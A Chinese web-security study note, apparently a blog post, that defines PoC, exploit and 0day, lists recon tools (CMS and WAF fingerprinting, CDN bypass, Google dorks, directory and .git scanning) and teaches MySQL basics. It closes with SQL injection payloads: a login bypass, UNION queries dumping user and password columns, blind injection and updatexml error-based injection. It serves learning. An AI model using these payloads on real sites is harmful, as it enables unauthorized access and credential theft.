赞
踩
1.POC
POC,Proof ofConcept
,中文意思是“观点证明
”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样
例,使得读者能够确认这个漏洞是真实存在的。
2.EXP
EXP
,Exploit,中文意思是“漏洞利用
”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码
,可以使得读者完全了解漏洞的机理以及利用的方法。
3.VUL
VUL
,Vulnerability的缩写,泛指漏洞
。
4.payload(有效攻击负载)是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码
5.shellcode(可提权代码) 对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情
6.CVE漏洞编号
CVE
的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露,例如CVE-2015-0057、CVE-1999-0001等等。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
可以在https://cve.mitre.org/网站根据漏洞的CVE编号搜索该漏洞的介绍。
也可以在中文社区http://www.scap.org.cn/上搜索关于漏洞的介绍
5.0DAY漏洞和0DAY攻击
在计算机领域中,零日漏洞或零时差漏洞(英语:Zero-dayexploit)通常是指还没有补丁的安全漏洞,而零日攻击或零时差攻击(英语:Zero-dayattack)则是指利用这种漏洞进行的攻击。提供该漏洞细节或者利用程序的人通常是该漏洞的发现者。零日漏洞的利用程序对网络安全具有巨大威胁,因此零日漏洞不但是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水平的一个重要参数。
零日漏洞及其利用代码不仅对犯罪黑客而言,具有极高的利用价值,一些国家间谍和网军部队,例如美国国家安全局和美国网战司令部也非常重视这些信息[1]。据路透社报告称美国政府是零日漏洞黑市的最大买家
CMS:快速搭建网站的内容管理系统
Web应用框架:快速二次开发的Web应用框架,例如网站,小程序
云悉在线 https://www.yunsee.cn/
WhatWeb https://whatweb.net/ http://whatweb.bugscaner.com/look
插件Wappalyzer: https://www.wappalyzer.com
脚本:
CMSeek:
kali下安装:
git clone https://github.com/Tuhinshubhra/CMSeeK
cd CMSeeK
pip/pip3 install -r requirements.txt
python3 cmseek.py -u 目标 //使用
python3 cmseek.py –update //检查更新
Webfinger: https://github.com/se55i0n/Webfinger
专针对Web应用攻击的防护产品
https://github.com/0xInfection/Awesome-WAF
https://github.com/EnableSecurity/wafw00f
kali下安装wafw00f
git clone https://github.com/EnableSecurity/wafw00f
cd wafw00f
python setup.py install
CDN: 内容分发网络
基本思路是 尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快,更稳定
改善网络加载时间,减少服务器负载,降低成本,提高网络安全行
kali下安装xcdn
git clone https://github.com/3xp10it/xcdn
都是通过寻找对方未绑定CDN站点进行突破,从而找到真实站点。
intext:关键字
搜索网页正文中含有这些关键字的网页。
intitle:关键字
搜索网页标题中含有这些关键字的网页。
cache:关键字
搜索含有关键字内容的cache。
define:关键字
搜索关键字的定义。
filetype:文件名.后缀名
搜索特定的文件。
info:关键字
搜索指定站点的一些基本信息。
inurl:关键字
搜索含有关键字的URL地址。
(示例:“inurl:php?id=” 意为 搜索网站url中包括了"php?id="关键字的网站,寻找可能含有sql注入的网页)
(注:"inurl:"后不能接空格,应直接接关键词)
(inurl在搜索资源的功能上十分的强大,目前filetype:用法google无法使用)
(示例:“inurl:“say something” mp3” 可搜索到say something的mp3文件)
例:inurl:.edu.cn
link:关键字
查找与关键字做了链接的URL地址。
site:域名
返回域名中所有的URL地址。
related:URL
搜索与指定URL相关的页面。
python dirsearch.py -u 网址 -e php
-u 指定网址
-e 指定网站语言
-w 指定字典
-r 递归目录(跑出目录后,继续跑目录下面的目录)
注意扫描/.index.php.swp, index.php~ 等备份文件
扫描的记录会生成到文件中
根据需要扩充字典,
注意以下文件
www.zip 网站备份源码
readme.md
robots.txt
.swp
.swo
.swn
wappalyzer,火狐插件
githack 注意要在python2下环境运行
p GitHacker.py http://XXXXXXXXXXX/.git/
创建MySQL数据表需要以下信息:
以下为创建MySQL数据表的SQL通用语法:
CREATE TABLE table_name (column_name column_type);
以下例子中我们将在 RUNOOB 数据库中创建数据表runoob_tbl:
CREATE TABLE IF NOT EXISTS `runoob_tbl`(
`runoob_id` INT UNSIGNED AUTO_INCREMENT,
`runoob_title` VARCHAR(100) NOT NULL,
`runoob_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `runoob_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
实例解析:
MySQL 数据库使用SQL SELECT语句来查询数据。
你可以通过 mysql> 命令提示窗口中在数据库中查询数据,或者通过PHP脚本来查询数据。
以下为在MySQL数据库中查询数据通用的 SELECT 语法:
SELECT column_name,column_name
FROM table_name
[WHERE Clause]
[LIMIT N][ OFFSET M]
select * from runoob_tbl;
例如*返回数据表runoob_tbl的所有记录
我们知道从 MySQL 表中使用 SQL SELECT 语句来读取数据。
如需有条件地从表中选取数据,可将 WHERE 子句添加到 SELECT 语句中。
以下是 SQL SELECT 语句使用 WHERE 子句从数据表中读取数据的通用语法:
SELECT field1, field2,...fieldN FROM table_name1, table_name2...
[WHERE condition1 [AND [OR]] condition2.....
以下为操作符列表,可用于 WHERE 子句中。
MySQL 的 WHERE 子句的字符串比较是不区分大小写的。 你可以使用 BINARY 关键字来设定 WHERE 子句的字符串比较是区分大小写的。
我们知道在 MySQL 中使用 SQL SELECT 命令来读取数据, 同时我们可以在 SELECT 语句中使用 WHERE 子句来获取指定的记录。
WHERE 子句中可以使用等号 = 来设定获取数据的条件,如 “runoob_author = ‘RUNOOB.COM’”。
但是有时候我们需要获取 runoob_author 字段含有 “COM” 字符的所有记录,这时我们就需要在 WHERE 子句中使用 SQL LIKE 子句。
SQL LIKE 子句中使用百分号 %字符来表示任意字符,类似于UNIX或正则表达式中的星号 *。
如果没有使用百分号 %, LIKE 子句与等号 = 的效果是一样的。
以下是 SQL SELECT 语句使用 LIKE 子句从数据表中读取数据的通用语法:
SELECT field1, field2,...fieldN
FROM table_name
WHERE field1 LIKE condition1 [AND [OR]] filed2 = 'somevalue'
UNION 语句:用于将不同表中相同列中查询的数据展示出来;(不包括重复数据)
UNION ALL 语句:用于将不同表中相同列中查询的数据展示出来;(包括重复数据)
使用形式如下:
SELECT 列名称 FROM 表名称 UNION SELECT 列名称 FROM 表名称 ORDER BY 列名称;
SELECT 列名称 FROM 表名称 UNION ALL SELECT 列名称 FROM 表名称 ORDER BY 列名称;
以下是 SQL SELECT 语句使用 ORDER BY 子句将查询数据排序后再返回数据:
SELECT field1, field2,...fieldN FROM table_name1, table_name2...
ORDER BY field1 [ASC [DESC][默认 ASC]], [field2...] [ASC [DESC][默认 ASC]]
原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
输入 1′ or 1=1 or ‘1’=’1#万能密码语句变为:
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
逻辑运算的优先顺序是NOT>OR>AND
因为1=1恒为真所以并且注释掉了后面的语句,导致密码无论是啥都可以登录
可以对传入表达式进行计算 来判断是否为数字型注入
后端语句为
$res=mysqli_query($conn,"select title,content from wp_news where id=".$_GET['id'])
构造?id=1 union select user,pwd from wp_user limit 1,1
limit 是指取查询结果第一条记录的后一条记录,或者使用id=-1
select 1返回1
id=-1 union select 1,group_conact(table_name)from information_schema.tables where table_schema=database()
id=-1 union select 1,group_conact(column_name)from information_schema.columns where table_name='wp_user'
?id=1 union select user,pwd from wp_user limit 1,1
后端语句get输入处若被包裹了单引号或者双引号
判断方法利用mysql的强制类型转化例如id=1a转化为id=1有页面回显则说明为字符型注入
则构造方法为id=1'--+ 或者 id=1'#
加号在url中会被编码为空格
接下来的操作就与数字型操作一样
布尔盲注通过页面的回显来判断0或者1
例如a为被猜测的数据id=1’and ‘a’<‘n’
用二分法来缩小范围,就能够很快猜出字符
多字符的情况
利用,substring mid substr 函数等
来截取数据的中的一位再用单字符的清况来继续判断
例如?id=1'and mid((select concat(user,0x7e,pwd) from wp_user,1,1))=a
来猜测用户名和密码
常见的利用函数有:exp()、floor()+rand()、updatexml()、extractvalue()
等
如:select * from users where username=$username (and | or) updatexml(1,concat(0x7e,(select user()),0x7e),1)
' or updatexml(1,concat('~',database()),1) #
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。